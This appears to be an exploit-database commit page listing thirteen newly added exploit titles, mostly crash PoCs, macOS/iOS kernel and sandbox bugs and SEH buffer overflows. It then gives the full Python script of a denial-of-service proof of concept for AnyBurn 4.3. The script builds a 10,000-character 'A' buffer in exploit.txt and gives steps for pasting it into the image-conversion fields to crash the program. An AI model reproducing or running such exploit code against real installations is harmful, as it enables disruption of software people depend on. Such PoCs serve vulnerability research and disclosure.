68794471c9
13 changes to exploits/shellcodes Anyburn 4.3 - 'Convert image to file format' Denial of Service Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC) AMAC Address Change 5.4 - Denial of Service (PoC) ASPRunner Professional 6.0.766 - Denial of Service (PoC) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) LanHelper 1.74 - Denial of Service (PoC) macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass) R 3.5.0 - Local Buffer Overflow (SEH) UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)
31 lines
No EOL
1.1 KiB
Python
Executable file
31 lines
No EOL
1.1 KiB
Python
Executable file
#!/usr/bin/python
|
|
# Exploit Title: AnyBurn x86 - Denial of Service (DoS)
|
|
# Date: 30-01-2019
|
|
# Exploit Author: Dino Covotsos - Telspace Systems
|
|
# Vendor Homepage: http://www.anyburn.com/
|
|
# Version: 4.3 (32-bit)
|
|
# Software Link : http://www.anyburn.com/anyburn_setup.exe
|
|
# Contact: services[@]telspace.co.za
|
|
# Twitter: @telspacesystems (Greets to the Telspace Crew)
|
|
# Tested Version: 4.3 (32-bit)
|
|
# Tested on: Windows XP SP3 ENG x86
|
|
# Note: The other exploitation field in Anyburn was discovered by Achilles
|
|
# CVE: TBC from Mitre
|
|
# Created in preparation for OSCE - DC - Telspace Systems
|
|
# DOS PoC:
|
|
# 1.) Generate exploit.txt, copy the contents to clipboard
|
|
# 2.) In the application, open 'Convert image to file format'
|
|
# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file"
|
|
# 4.) Click "Convert Now" and the program crashes
|
|
|
|
buffer = "A" * 10000
|
|
|
|
payload = buffer
|
|
try:
|
|
f=open("exploit.txt","w")
|
|
print "[+] Creating %s bytes evil payload.." %len(payload)
|
|
f.write(payload)
|
|
f.close()
|
|
print "[+] File created!"
|
|
except:
|
|
print "File cannot be created" |